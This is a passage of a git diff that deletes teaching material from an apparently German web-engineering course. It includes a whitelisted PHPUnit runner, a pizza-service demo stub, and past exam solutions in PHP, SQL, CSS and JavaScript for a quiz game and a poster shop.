-  $whitelist["testdoxHTML"]="cd Demos/PHP/PHPunit; phpunit --cache-result-file /tmp/phpunitCache --testdox-html /tmp/generated/CalcTest.html --include-path ./src ./tests CalcTest.php >/dev/null; cat /tmp/generated/CalcTest.html";
-  $whitelist["Coverage"]="cd Demos/PHP/PHPunit; phpunit --cache-result-file /tmp/phpunitCache --coverage-html /tmp/generated/coverage --coverage-filter src --include-path ./src ./tests CalcTest.php";
-  
-  if (array_key_exists($command,$whitelist)) {
-	  $linuxcommand = $whitelist[$command];
-	  $linuxcommand = "cd /var/www/html; ".$linuxcommand;
-	  $out = shell_exec($linuxcommand);
-  } else {
-	 $out = "<h1>Sorry, no such command found! Please check whitelist for available commands in shellexec.php<h1>";
-  }
-
-insertHTMLHeader();
-  echo $out;
-insertHTMLFooter();
-}
-
-function insertHTMLHeader(){
-	if (!isset($_GET["noheader"])){
-echo<<<EOT
-		<!DOCTYPE html>
-		<html lang="de">
-		<head>
-			<meta charset="UTF-8"/>
-			<title>Commands in Docker Container</title>
-			<style>
-			 * {font: 1em Consolas, monospace; }
-			 body { color: green; background-color: black;
-			</style>
-		</head>
-		<body>
-
-		<pre>
-EOT;
-	}
-}
-
-function insertHTMLFooter(){
-	if (!isset($_GET["noheader"])){
-echo<<<EOT
-		</pre>
-
-		</body>
-		</html>
-EOT;
-	}
-}
\ No newline at end of file
diff --git a/src/Demos_intern/Pizzaservice_Trapp_2020/4Pages.php b/src/Demos_intern/Pizzaservice_Trapp_2020/4Pages.php
deleted file mode 100644
index 2298111dca9ef859a7cf262f578c5be96edb548f..0000000000000000000000000000000000000000
--- a/src/Demos_intern/Pizzaservice_Trapp_2020/4Pages.php
+++ /dev/null
@@ -1,35 +0,0 @@
-<?php declare(strict_types=1);
-// UTF-8 marker äöüÄÖÜ߀
-
-$Pages = array("Order","Customer","Baker","Driver");
-
-if (isset($_GET["Page"])){
-	$Page=(int)($_GET["Page"]);
-}else {
-	$Page=0;
-}
-
-$NextPage = ($Page+1) % count($Pages);
-$PreviousPage = ($Page-1+ count($Pages)) % count($Pages);
-$Title=$Pages[$Page];
-
-
-echo <<<EOT
-
-<!DOCTYPE html>
-<html lang="de">
-<head>
-    <meta charset="UTF-8"/>
-    <title>$Title</title>
-</head>
-	<body>
-	  <h1>Sorry, Hier gibt es keinen echten Code und Sie müssen die Praktikumsaufgabe selbst lösen! </br>
-	  Aber zum Trost gibt es hier Snapshots zum Thema, die man durchblättern kann...</h1>
-	  <p>	  
-	  	<button onclick="window.location.replace('4Pages.php?Page={$PreviousPage}')">Zurück</button>
-		<button onclick="window.location.replace('4Pages.php?Page={$NextPage}')">Weiter</button>
-	  </p>
-	  <img src="{$Title}.JPG" alt="Snapshot vom Pizzaservice. Sorry, Sie müssen die Praktikumsaufgabe selbst lösen!" onclick="window.location.replace('4Pages.php?Page={$NextPage}')" />
-	</body>
-</html>
-EOT;
\ No newline at end of file
diff --git a/src/Demos_intern/Pizzaservice_Trapp_2020/Baker.JPG b/src/Demos_intern/Pizzaservice_Trapp_2020/Baker.JPG
deleted file mode 100644
index b4b20f50ff4d214cd3fe54660130c591d42fdd4e..0000000000000000000000000000000000000000
Binary files a/src/Demos_intern/Pizzaservice_Trapp_2020/Baker.JPG and /dev/null differ
diff --git a/src/Demos_intern/Pizzaservice_Trapp_2020/Customer.JPG b/src/Demos_intern/Pizzaservice_Trapp_2020/Customer.JPG
deleted file mode 100644
index 473b0abc3e6b8bcb9dce5e41ae7535ad6bd95614..0000000000000000000000000000000000000000
Binary files a/src/Demos_intern/Pizzaservice_Trapp_2020/Customer.JPG and /dev/null differ
diff --git a/src/Demos_intern/Pizzaservice_Trapp_2020/Driver.JPG b/src/Demos_intern/Pizzaservice_Trapp_2020/Driver.JPG
deleted file mode 100644
index b88ceda7a9b64f6502e74f82700b68e41d89cfbe..0000000000000000000000000000000000000000
Binary files a/src/Demos_intern/Pizzaservice_Trapp_2020/Driver.JPG and /dev/null differ
diff --git a/src/Demos_intern/Pizzaservice_Trapp_2020/Order.JPG b/src/Demos_intern/Pizzaservice_Trapp_2020/Order.JPG
deleted file mode 100644
index 8820ef26d4236961856a7168040a9a1c1c3073e9..0000000000000000000000000000000000000000
Binary files a/src/Demos_intern/Pizzaservice_Trapp_2020/Order.JPG and /dev/null differ
diff --git a/src/Demos_intern/Pizzaservice_Trapp_2020/Order.php b/src/Demos_intern/Pizzaservice_Trapp_2020/Order.php
deleted file mode 100644
index e7d8cd66d2b335af3d2d5cc8f8487a99834f9c8d..0000000000000000000000000000000000000000
--- a/src/Demos_intern/Pizzaservice_Trapp_2020/Order.php
+++ /dev/null
@@ -1,6 +0,0 @@
-<?php // UTF-8 marker äöüÄÖÜ߀
-				header("HTTP/1.1 303 See Other");
-				header("Location: 4Pages.php");
-				die;
-
-//? >
diff --git a/src/Exam/.gitkeep b/src/Exam/.gitkeep
deleted file mode 100644
index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000
diff --git a/src/Exam_Probe/.gitkeep b/src/Exam_Probe/.gitkeep
deleted file mode 100644
index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000
diff --git a/src/Klausuren/.gitignore b/src/Klausuren/.gitignore
deleted file mode 100644
index 613c1bd415b9e88aa0e68e59095cf11e22beb52b..0000000000000000000000000000000000000000
--- a/src/Klausuren/.gitignore
+++ /dev/null
@@ -1 +0,0 @@
-/Temp
diff --git a/src/Klausuren/17SS/EWA-Klausur_SS17.pdf b/src/Klausuren/17SS/EWA-Klausur_SS17.pdf
deleted file mode 100644
index b206802a66e0fa57a21dbaa68e58fd1c6d466cbe..0000000000000000000000000000000000000000
Binary files a/src/Klausuren/17SS/EWA-Klausur_SS17.pdf and /dev/null differ
diff --git a/src/Klausuren/17SS/EWA-Klausur_SS17_Loesung.pdf b/src/Klausuren/17SS/EWA-Klausur_SS17_Loesung.pdf
deleted file mode 100644
index e809c203415cc3a1483e76ef2bd4a0eb03037f52..0000000000000000000000000000000000000000
Binary files a/src/Klausuren/17SS/EWA-Klausur_SS17_Loesung.pdf and /dev/null differ
diff --git a/src/Klausuren/17SS/MEISTER.css b/src/Klausuren/17SS/MEISTER.css
deleted file mode 100644
index c29b67adf4a624740c031b5b92b06d3f2383209c..0000000000000000000000000000000000000000
--- a/src/Klausuren/17SS/MEISTER.css
+++ /dev/null
@@ -1,43 +0,0 @@
-* {
-    font-family: "Times New Roman", sans-serif;
-    font-size: 1rem;
-    background-color: lightgrey;
-}
-
-h1 {
-    font-size: 1.5rem;
-    font-weight: bold; /* ist default */
-}
-
-h2 {
-    font-size: 1.2rem;
-    font-weight: bold; /* ist default */
-    margin-top: 0; /* nicht verlangt */
-}
-
-p {
-    margin-top: 0; /* nicht verlangt */
-}
-
-#name {
-    font-style: italic;
-}
-
-div {
-    border: 0.1rem solid black;
-    padding: 0.5rem;
-    margin-bottom: 0.5rem;
-}
-
-.submit {
-    width: 10rem;
-    padding: 1rem;
-    display: inline-block; /* ist default */
-}
-
-progress {
-    width: 100%;
-    margin-top: 1rem;
-}
-
-/* nicht verlangt */
diff --git a/src/Klausuren/17SS/MEISTER.js b/src/Klausuren/17SS/MEISTER.js
deleted file mode 100644
index 695716272bb1d472f09a9caad34ff38e3bd636a3..0000000000000000000000000000000000000000
--- a/src/Klausuren/17SS/MEISTER.js
+++ /dev/null
@@ -1,16 +0,0 @@
-let zaehler;
-
-function start() {
-    "use strict";
-    zaehler = 0;
-    window.setInterval(inkrement, 1000);
-}
-
-function inkrement() {
-    "use strict";
-    if (zaehler === 30) {
-        document.getElementsByTagName('form')[0].submit();
-    } else
-        zaehler++;
-    document.getElementById("myProgress").value = zaehler;
-}
diff --git a/src/Klausuren/17SS/MEISTER.php b/src/Klausuren/17SS/MEISTER.php
deleted file mode 100644
index a0314fdfd8896b320c29c19c61000f0e2a6b0ff6..0000000000000000000000000000000000000000
--- a/src/Klausuren/17SS/MEISTER.php
+++ /dev/null
@@ -1,134 +0,0 @@
-<?php
-
-require_once 'Page.php';
-
-class MEISTER extends Page
-{
-    protected $frageRecord = null;
-    protected $richtig = true;
-
-    protected function __construct()
-    {
-        session_start();
-        parent::__construct();
-    }
-
-    protected function getViewData()
-    {
-        $recordset = $this->db->query("SELECT * FROM fragen ORDER BY rand() LIMIT 1;");
-        if (!$recordset) {
-            throw new Exception("Fehler beim Lesen der Frage");
-        }
-        $this->frageRecord = $recordset->fetch_assoc();
-        $recordset->free();
-    }
-
-    protected function generateView()
-    {
-        $this->getViewData();
-        $this->generatePageHeader("Quizmeister");
-        echo <<<EOT
-		<h1>Wer wird h_da Quizmeister?</h1>
-		<form action="MEISTER.php" method="post">
-
-EOT;
-        if ($this->richtig) {   // alle bisherigen Antworten sind richtig
-            if (!isset($_SESSION['spielID'])) {   // 1. Aufruf im neuen Spiel
-                echo <<<EOT
-				<div>
-					<p>
-						Neues Spiel - bitte geben Sie Ihren Namen ein:
-					</p>
-					<input type="text" name="name" value="" id="name" placeholder="Ihr Name?" required/>
-				</div>
-
-EOT;
-            }
-            $frage = htmlspecialchars($this->frageRecord['frage']);
-            $antwort1 = htmlspecialchars($this->frageRecord['antwort1']);
-            $antwort2 = htmlspecialchars($this->frageRecord['antwort2']);
-            $antwort3 = htmlspecialchars($this->frageRecord['antwort3']);
-            echo <<<EOT
-			<div>
-				<h2>Frage:</h2>
-				<p>$frage</p>
-				<input type="submit" name="antwort1" value="$antwort1" class="submit" />
-				<input type="submit" name="antwort2" value="$antwort2" class="submit" />
-				<input type="submit" name="antwort3" value="$antwort3" class="submit" />
-			</div>
-
-EOT;
-            $_SESSION['richtigeAntwort'] = $this->frageRecord['richtig'];
-        } else {   // die letzte Antwort war falsch
-            echo "<p>leider falsch</p>\r\n";
-        }
-        echo <<<EOT
-		</form>
-		<progress id="myProgress" value="0" max="30"></progress>	<!-- war vorgegeben -->
-
-EOT;
-        $this->generatePageFooter();
-    }
-
-    protected function processReceivedData()
-    {
-        if (isset($_POST['name'])) {
-            $name = $this->db->real_escape_string($_POST['name']);
-            if (!$name) {
-                throw new Exception("Name fehlt");
-            }
-            $ok = $this->db->query("INSERT INTO spiele (name, antworten) VALUES ('$name', 0);");
-            if (!$ok) {
-                throw new Exception("Fehler bei Insert");
-            }
-            $_SESSION['spielID'] = $this->db->insert_id;
-        }
-
-        if (isset($_SESSION['spielID'])) {
-            $antwort = $this->getAntwort();
-
-            if ($antwort > 0) {
-                $this->richtig = ($antwort == $_SESSION['richtigeAntwort']);
-            } else {
-                $this->richtig = false;    // Frage nicht beantwortet oder Timeout
-            }
-            if ($this->richtig) {
-                $ok = $this->db->query("UPDATE spiele SET antworten = antworten + 1 WHERE id = '{$_SESSION['spielID']}';");
-                if (!$ok) {
-                    throw new Exception("Fehler bei Update");
-                }
-            } else {
-                $_SESSION = array();    // neues Spiel vorbereiten
-            }
-        }
-    }
-
-    protected function getAntwort(): int
-    {
-        if (isset($_POST['antwort1'])) {
-            $antwort = 1;
-        } else if (isset($_POST['antwort2'])) {
-            $antwort = 2;
-        } else if (isset($_POST['antwort3'])) {
-            $antwort = 3;
-        } else {
-            $antwort = 0;
-        }
-        return $antwort;
-    }
-
-    public static function main()
-    {
-        try {
-            $page = new MEISTER();
-            $page->processReceivedData();
-            $page->generateView();
-        } catch (Exception $e) {
-            header("Content-type: text/plain");
-            echo $e->getMessage();
-        }
-    }
-
-}
-
-MEISTER::main();    
diff --git a/src/Klausuren/17SS/Meister.sql b/src/Klausuren/17SS/Meister.sql
deleted file mode 100644
index 29331993aedb660e4c80c606c68a44fd5b44818c..0000000000000000000000000000000000000000
--- a/src/Klausuren/17SS/Meister.sql
+++ /dev/null
@@ -1,33 +0,0 @@
--- vorgegebene Datenbank MEISTER
--- modifiziert B.K.
-
-SET SQL_MODE="NO_AUTO_VALUE_ON_ZERO";
-
-CREATE DATABASE MEISTER
-DEFAULT CHARACTER SET utf8
-COLLATE utf8_unicode_ci;
-
-USE MEISTER;
-
-CREATE TABLE fragen (
-   id int AUTO_INCREMENT, PRIMARY KEY (id),
-   frage varchar(50) NOT NULL,
-   antwort1 varchar(50) NOT NULL,
-   antwort2 varchar(50) NOT NULL,
-   antwort3 varchar(50) NOT NULL,
-   richtig enum('1', '2', '3') NOT NULL);
-
-CREATE TABLE spiele (
-   id int AUTO_INCREMENT, PRIMARY KEY (id),
-   name varchar(50) NOT NULL,
-   antworten int NOT NULL);
-
-INSERT INTO spiele (name, antworten) VALUES
-('Ralf','3'),
-('John Doe', '1'),
-('Hurz','23');
-
-INSERT INTO fragen (frage, antwort1, antwort2, antwort3, richtig) VALUES
-('Wie viele Einwohner hat Darmstadt (Stand 2017)?', '155.000', '205.000', '75.000', '1'),
-('Was bedeutet das html-Tag <td>?', 'test data', 'test dummy', 'table data', '3'),
-('Wie viele Einwohner hat Mainz (Stand 2017)?', '155.000', '210.000', '295.000', '2');
diff --git a/src/Klausuren/17SS/Page.php b/src/Klausuren/17SS/Page.php
deleted file mode 100644
index e87556aa4fe42f32ba31b2bc13af32f933d08909..0000000000000000000000000000000000000000
--- a/src/Klausuren/17SS/Page.php
+++ /dev/null
@@ -1,51 +0,0 @@
-<?php
-
-abstract class Page
-{
-    protected $db;
-
-    protected function __construct()
-    {
-        $this->db = new MySQLi("mariadb", "public", "public", "MEISTER"); //NOSONAR ignore hardcoded password
-        if ($this->db->connect_errno) {
-            throw new Exception("Connect failed: " . $this->db->connect_errno);
-        }
-        if (!$this->db->set_charset("utf8")) {
-            throw new Exception($this->db->error);
-        }
-    }
-
-    public function __destruct()
-    {
-        $this->db->close();
-    }
-
-    protected function generatePageHeader($headline = "")
-    {
-        header("Content-type: text/html; charset=UTF-8");
-        $headline = htmlspecialchars($headline);
-        echo <<<EOT
-<!DOCTYPE html>
-<html lang="de" >
-<head>
-<meta charset="UTF-8" />
-<title>$headline</title>
-<link rel="stylesheet" type="text/css" href="MEISTER.css"/>
-	<script type="text/javascript" src="MEISTER.js"></script>
-</head>
-<body onload="start();">
-EOT;
-    }
-
-    protected function generatePageFooter()
-    {
-        echo <<<EOT
-	</body>
-	</html>
-EOT;
-    }
-
-    protected function processReceivedData()
-    {
-    }
-} 
diff --git a/src/Klausuren/17SS/index.php b/src/Klausuren/17SS/index.php
deleted file mode 100644
index e0bf1e7439863e023e3317c3e16e546b9c7363cf..0000000000000000000000000000000000000000
--- a/src/Klausuren/17SS/index.php
+++ /dev/null
@@ -1,19 +0,0 @@
-<!DOCTYPE html>
-<html lang="de">
-<head>
-    <meta charset="UTF-8"/>
-    <title>EWA-Klausur 2017</title>
-</head>
-<body>
-<header>
-    <h1>EWA-Klausur im Sommersemester 2017</h1>
-</header>
-<main>
-    <ul>
-        <li><a href="EWA-Klausur_SS17.pdf">Die Klausuraufgabe als PDF</a></li>
-        <li><a href="EWA-Klausur_SS17_Loesung.pdf">Die Klausuraufgabe mit Lösungen als PDF</a></li>
-        <li><a href="MEISTER.php">Die Lösung der Aufgabe als Webanwendung</a></li>
-    </ul>
-</main>
-</body>
-</html>
\ No newline at end of file
diff --git a/src/Klausuren/18SS/EWA-Klausur_SS18.pdf b/src/Klausuren/18SS/EWA-Klausur_SS18.pdf
deleted file mode 100644
index 64be99847ec65ba72697141b395ad3de80c7e1dc..0000000000000000000000000000000000000000
Binary files a/src/Klausuren/18SS/EWA-Klausur_SS18.pdf and /dev/null differ
diff --git a/src/Klausuren/18SS/EWA-Klausur_SS18_Loesung.pdf b/src/Klausuren/18SS/EWA-Klausur_SS18_Loesung.pdf
deleted file mode 100644
index 542ac1dadae0354dfaa3a212dc4f2e9987ae1354..0000000000000000000000000000000000000000
Binary files a/src/Klausuren/18SS/EWA-Klausur_SS18_Loesung.pdf and /dev/null differ
diff --git a/src/Klausuren/18SS/Images/Background.jpg b/src/Klausuren/18SS/Images/Background.jpg
deleted file mode 100644
index 5c84fa8b5eeb768ad8b2485750282eb9d201bbf5..0000000000000000000000000000000000000000
Binary files a/src/Klausuren/18SS/Images/Background.jpg and /dev/null differ
diff --git a/src/Klausuren/18SS/Images/Poster1.jpg b/src/Klausuren/18SS/Images/Poster1.jpg
deleted file mode 100644
index 5c6e7727430480c9560610cdf13b454a9253cda8..0000000000000000000000000000000000000000
Binary files a/src/Klausuren/18SS/Images/Poster1.jpg and /dev/null differ
diff --git a/src/Klausuren/18SS/Images/Poster2.jpg b/src/Klausuren/18SS/Images/Poster2.jpg
deleted file mode 100644
index efa2fd2c81f9dc18e0a79a75448f5782137091cf..0000000000000000000000000000000000000000
Binary files a/src/Klausuren/18SS/Images/Poster2.jpg and /dev/null differ
diff --git a/src/Klausuren/18SS/Images/Poster3.jpg b/src/Klausuren/18SS/Images/Poster3.jpg
deleted file mode 100644
index 27aed1e7b3c0a5221f1747c2c7bec755de2d15ab..0000000000000000000000000000000000000000
Binary files a/src/Klausuren/18SS/Images/Poster3.jpg and /dev/null differ
diff --git a/src/Klausuren/18SS/Login.php b/src/Klausuren/18SS/Login.php
deleted file mode 100644
index cbabe0162d816c1aae0c2d1fff0197907880982e..0000000000000000000000000000000000000000
--- a/src/Klausuren/18SS/Login.php
+++ /dev/null
@@ -1,54 +0,0 @@
-<?php
-
-// Diese Klasse muss nicht im Rahmen der Klausur geschrieben werden.
-// Sie ist nur ein Provisorium zur Bereitstellung der $_SESSION-Variablen.
-
-require_once 'Page.php';
-
-class Login extends Page
-{
-
-    protected function __construct()
-    {
-        parent::__construct();
-        session_start();
-    }
-
-    protected function generateView()
-    {
-        $this->generatePageHeader("Login zur PosterShop");
-        header("Location: PosterShop.php");
-
-        echo <<<EOT
-			<h1>Provisorische Login-Seite</h1>
-			<p>\$_SESSION['kunde']: {$_SESSION['kunde']}</p>
-			<p>\$_SESSION['zimmer']: {$_SESSION['zimmer']}</p>
-
-EOT;
-        $this->generatePageFooter();
-    }
-
-    protected function processReceivedData()
-    {
-        if (!isset($_SESSION['kunde'])) {
-            $_SESSION['kunde'] = 1;
-        } else {
-            $_SESSION['kunde'] = $_SESSION['kunde'] + 1;
-        }
-        $_SESSION['zimmer'] = 'Background.jpg';
-    }
-
-    public static function main()
-    {
-        try {
-            $page = new Login();
-            $page->processReceivedData();
-            $page->generateView();
-        } catch (Exception $e) {
-            header("Content-type: text/plain; charset=UTF-8");
-            echo $e->getMessage();
-        }
-    }
-}
-
-Login::main();
diff --git a/src/Klausuren/18SS/Page.php b/src/Klausuren/18SS/Page.php
deleted file mode 100644
index 0b0600757dae778d701a941253ab22a86af083e4..0000000000000000000000000000000000000000
--- a/src/Klausuren/18SS/Page.php
+++ /dev/null
@@ -1,53 +0,0 @@
-<?php
-
-abstract class Page
-{
-    protected $db;
-
-    protected function __construct()
-    {
-        $this->db = new MySQLi("mariadb", "public", "public", "postershop"); //NOSONAR ignore hardcoded password
-        if ($this->db->connect_errno) {
-            throw new Exception("Connect failed: " . $this->db->connect_errno);
-        }
-        if (!$this->db->set_charset("utf8")) {
-            throw new Exception($this->db->error);
-        }
-    }
-
-    public function __destruct()
-    {
-        $this->db->close();
-    }
-
-    protected function generatePageHeader($headline = "")
-    {
-        header("Content-type: text/html; charset=UTF-8");
-        $headline = htmlspecialchars($headline);
-        echo <<<EOT
-<!DOCTYPE html>
-<html lang="de">
-	<head>
-		<meta charset="UTF-8"/>
-		<title>$headline</title>
-		<link rel="stylesheet" type="text/css" href="PosterShop.css"/>
-		<script src="PosterShop.js"></script>
-	</head>
-	<body onload="start();">
-
-EOT;
-    }
-
-    protected function generatePageFooter()
-    {
-        echo <<<EOT
-	</body>
-</html>
-
-EOT;
-    }
-
-    protected function processReceivedData()
-    {
-    }
-}
diff --git a/src/Klausuren/18SS/PosterShop.css b/src/Klausuren/18SS/PosterShop.css
deleted file mode 100644
index 11ff9fde84a32616f2e43861d3b817e7fb86a236..0000000000000000000000000000000000000000
--- a/src/Klausuren/18SS/PosterShop.css
+++ /dev/null
@@ -1,43 +0,0 @@
-/* In der Klausur nicht erwartet, aber für das Ergebnis sinnvoll */
-* {
-    font-size: 1rem;
-}
-
-div {
-    position: relative;
-}
-
-/* wird damit zur Referenz für #poster */
-
-/* erwartete Formate */
-h1 {
-    font-family: "Times New Roman", serif;
-    font-size: 1.5rem;
-    color: grey;
-    text-align: center;
-    background-color: white;
-}
-
-#zimmer {
-    width: 100%;
-}
-
-#poster {
-    position: absolute;
-    top: 25%;
-    left: 33.33%;
-    width: 33.33%;
-    z-index: 99;
-}
-
-form {
-    text-align: center;
-}
-
-input {
-    font-family: Arial, sans-serif;
-}
-
-.hidden {
-    display: none;
-}
diff --git a/src/Klausuren/18SS/PosterShop.js b/src/Klausuren/18SS/PosterShop.js
deleted file mode 100644
index 2460d9e9f4184d4311bcdb1e902eab12807e9f9d..0000000000000000000000000000000000000000
--- a/src/Klausuren/18SS/PosterShop.js
+++ /dev/null
@@ -1,25 +0,0 @@
-function start() {
-    "use strict";
-    document.getElementById('allPosters').options[0].selected = true;
-    show(0);
-}
-
-function nextPoster() {
-    "use strict";
-    let i;
-    let myselect = document.getElementById('allPosters');
-    let options = myselect.options;
-    i = myselect.selectedIndex;
-    i = i + 1;
-    if (i >= options.length)
-        i = 0;
-    options[i].selected = true;
-    show(i);
-}
-
-function show(nr) {
-    "use strict";
-    let sel = document.getElementById('allPosters');
-    let pict = sel.options[nr].text;
-    document.getElementById('poster').src = 'Images/' + pict;
-}
diff --git a/src/Klausuren/18SS/PosterShop.php b/src/Klausuren/18SS/PosterShop.php
deleted file mode 100644
index 1f6404eb43f9a3df4b427bab7543e78a24a2597c..0000000000000000000000000000000000000000
--- a/src/Klausuren/18SS/PosterShop.php
+++ /dev/null
@@ -1,88 +0,0 @@
-<?php
-
-require_once 'Page.php';
-
-class PosterShop extends Page
-{
-    private $heading = "Finde das passende Poster für dein Wohnzimmer!";
-
-    protected function __construct()
-    {
-        parent::__construct();
-        session_start();
-        if (!isset($_SESSION['zimmer'])) {
-            $_SESSION['zimmer'] = "Background.jpg";
-        }
-    }
-
-    protected function getViewData()
-    {
-        $sql = "SELECT datei FROM poster ORDER BY datei;";
-        $result = $this->db->query($sql);
-        if (!$result) {
-            throw new Exception("Select fehlgeschlagen: " . $this->db->error);
-        }
-        $pictures = array();
-        while ($poster = $result->fetch_assoc()) {
-            $pictures[] = $poster["datei"];
-        }
-        $result->free();
-        return $pictures;
-    }
-
-    protected function generateView()
-    {
-        $pictures = $this->getViewData();
-        $this->generatePageHeader("PosterShop");
-        $options = "\r\n";
-        for ($i = 0; $i < count($pictures); $i++) {
-            $options .= <<<EOT
-					<option>{$pictures[$i]}</option>
-
-EOT;
-        }
-
-        echo <<<EOT
-			<h1>$this->heading</h1>
-			<div> <!-- nötig, damit die Positionierung klappt (in der Klausur nicht erwartet!) -->
-				<img id="zimmer" alt="Wohnzimmer" src="Images/{$_SESSION['zimmer']}"/>
-				<img id="poster" alt="Ausgewähltes Poster" src=""/>
-			</div>
-			<form action="PosterShop.php" accept-charset="UTF-8" method="post">
-				<select name="allPosters" id="allPosters" class="hidden">
-					$options
-				</select>
-				<input type="button" name="next" value="Nächstes Poster" onclick="nextPoster();"/>
-				<input type="submit" name="order" value="Poster bestellen"/>
-			</form>
-
-EOT;
-        $this->generatePageFooter();
-    }
-
-    protected function processReceivedData()
-    {
-        if (isset($_POST['allPosters'])) {
-            $selectedPoster = $this->db->real_escape_string($_POST['allPosters']);
-            $sql = "INSERT INTO bestellung (kunde, datei) VALUES ('{$_SESSION['kunde']}', '$selectedPoster');";
-            if (!$this->db->query($sql)) {
-                throw new Exception("Insert fehlgeschlagen: " . $this->db->error);
-            }
-            $this->heading = "Vielen Dank für Ihre Bestellung";
-        }
-    }
-
-    public static function main()
-    {
-        try {
-            $page = new PosterShop();
-            $page->processReceivedData();
-            $page->generateView();
-        } catch (Exception $e) {
-            header("Content-type: text/plain; charset=UTF-8");
-            echo $e->getMessage();
-        }
-    }
-}
-
-PosterShop::main();
diff --git a/src/Klausuren/18SS/_PosterShop.sql b/src/Klausuren/18SS/_PosterShop.sql
deleted file mode 100644
index c7c72df1c7afb0311b10e498ccaf97b5b9ec0502..0000000000000000000000000000000000000000
--- a/src/Klausuren/18SS/_PosterShop.sql
+++ /dev/null
@@ -1,64 +0,0 @@
--- phpMyAdmin SQL Dump
--- version 4.1.12
--- http://www.phpmyadmin.net
---
--- Host: 127.0.0.1
--- Erstellungszeit: 02. Jul 2018 um 19:50
--- Server Version: 5.6.16
--- PHP-Version: 5.5.11
-
-SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
-SET time_zone = "+00:00";
-
-
-/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
-/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
-/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
-/*!40101 SET NAMES utf8 */;
-
---
--- Datenbank: `postershop`
---
-SET SQL_MODE="NO_AUTO_VALUE_ON_ZERO";
-
-CREATE DATABASE postershop
-DEFAULT CHARACTER SET utf8
-COLLATE utf8_unicode_ci;
-
-USE postershop;
--- --------------------------------------------------------
-
---
--- Tabellenstruktur für Tabelle `bestellung`
---
-
-CREATE TABLE IF NOT EXISTS `bestellung` (
-  `id` int(11) NOT NULL AUTO_INCREMENT,
-  `kunde` int(11) NOT NULL,
-  `datei` varchar(50) NOT NULL,
-  PRIMARY KEY (`id`)
-) ENGINE=InnoDB  DEFAULT CHARSET=utf8 AUTO_INCREMENT=4 ;
-
--- --------------------------------------------------------
-
---
--- Tabellenstruktur für Tabelle `poster`
---
-
-CREATE TABLE IF NOT EXISTS `poster` (
-  `datei` varchar(50) NOT NULL,
-  PRIMARY KEY (`datei`)
-) ENGINE=InnoDB DEFAULT CHARSET=utf8;
-
---
--- Daten für Tabelle `poster`
---
-
-INSERT INTO `poster` (`datei`) VALUES
-('Poster1.jpg'),
-('Poster2.jpg'),
-('Poster3.jpg');
-
-/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
-/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
-/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
diff --git a/src/Klausuren/18SS/index.php b/src/Klausuren/18SS/index.php
deleted file mode 100644
index e95ca6a0b5c37c78051cb76d97b0a8927b2249a3..0000000000000000000000000000000000000000
--- a/src/Klausuren/18SS/index.php
+++ /dev/null
@@ -1,19 +0,0 @@
-<!DOCTYPE html>
-<html lang="de">
-<head>
-    <meta charset="UTF-8"/>
-    <title>EWA-Klausur 2018</title>
-</head>
-<body>
-<header>
-    <h1>EWA-Klausur im Sommersemester 2018</h1>
-</header>
-<main>
-    <ul>
-        <li><a href="EWA-Klausur_SS18.pdf">Die Klausuraufgabe als PDF</a></li>
-        <li><a href="EWA-Klausur_SS18_Loesung.pdf">Die Klausuraufgabe mit Lösungen als PDF</a></li>
-        <li><a href="PosterShop.php">Die Lösung der Aufgabe als Webanwendung</a></li>
-    </ul>
-</main>
-</body>
-</html>
\ No newline at end of file
diff --git a/src/Klausuren/19SS/CSS_Aufgabe.css b/src/Klausuren/19SS/CSS_Aufgabe.css
deleted file mode 100644
index 2ab3aa858cc3abc6d1ce649aa81a8dfee199ec20..0000000000000000000000000000000000000000
--- a/src/Klausuren/19SS/CSS_Aufgabe.css
+++ /dev/null
@@ -1,97 +0,0 @@
-/** Default-Werte setzen **/
-* {
-    margin: 0.2em;
-    padding: 0.2em;
-    color: black;
-}
-
-body {
-    color: black;
-    background-color: WhiteSmoke
-}
-
-#footer, .header {
-    color: white;
-    background-color: grey
-}
-
-img {
-    width: 4em;
-}
-
-/* Nicht erwartet */
-ul {
-    list-style: none;
-    text-align: left;
-}
-
-.nav_normal {
-    border: 0.1em solid black
-}
-
-article {
-    text-align: justify;
-}
-
-h1 {
-    text-align: center;
-}
-
-
-/* a) */
-* {
-    font-family: Helvetica, sans-serif
-}
-
-/* b) */
-h1 {
-    font-size: 1.2rem
-}
-
-#footer {
-    font-size: 0.8rem
-}
-
-/* c) */
-a:visited {
-    color: DarkGray;
-}
-
-/* d) */
-/* Layout */
-nav {
-    float: left;
-}
-
-footer {
-    clear: both;
-}
-
-/** Zuerst Handys als Default **/
-.nav_normal {
-    display: none
-}
-
-.nav_icon {
-    display: block;
-}
-
-/* e) */
-@media only screen and (min-width: 600px) {
-    .nav_normal {
-        display: inline-block;
-    }
-
-    .nav_icon {
-        display: none;
-    }
-}
-
-/* f) */
-nav ul li input[type="text"] {
-    border: 0.1em dashed grey !important
-}
-
-
-
-
diff --git a/src/Klausuren/19SS/CSS_Aufgabe.html b/src/Klausuren/19SS/CSS_Aufgabe.html
deleted file mode 100644
index f9a24bc1a563e65fb28216b4a1445b36c9928c9e..0000000000000000000000000000000000000000
--- a/src/Klausuren/19SS/CSS_Aufgabe.html
+++ /dev/null
@@ -1 +0,0 @@
-<!DOCTYPE html>
<html lang="de">
<head>
    <meta charset="UTF-8"/>
    <title>CSS Aufgabe SS19</title>
    <link rel="stylesheet" type="text/css" href="CSS_Aufgabe.css"/>
</head>
<body>
<header><h1 class="header">Headertext</h1></header>
<nav>
    <ul class="nav_normal">
        <li>Menüeintrag 1</li>
        <li>Menüeintrag 2</li>
        <li>Menüeintrag 3</li>
        <li>Menüeintrag 4</li>
        <li><label>Suche<input type="text" value=""/></label></li>
    </ul>
    <img class="nav_icon" src="CSS_Hamburger.png" alt=""/>
</nav>
<section>
    <article>Dies ist ein Link:<a href="CSS_Aufgabe.html">Verweistext</a>!!! Lorem ipsum dolor sit amet, consetetur
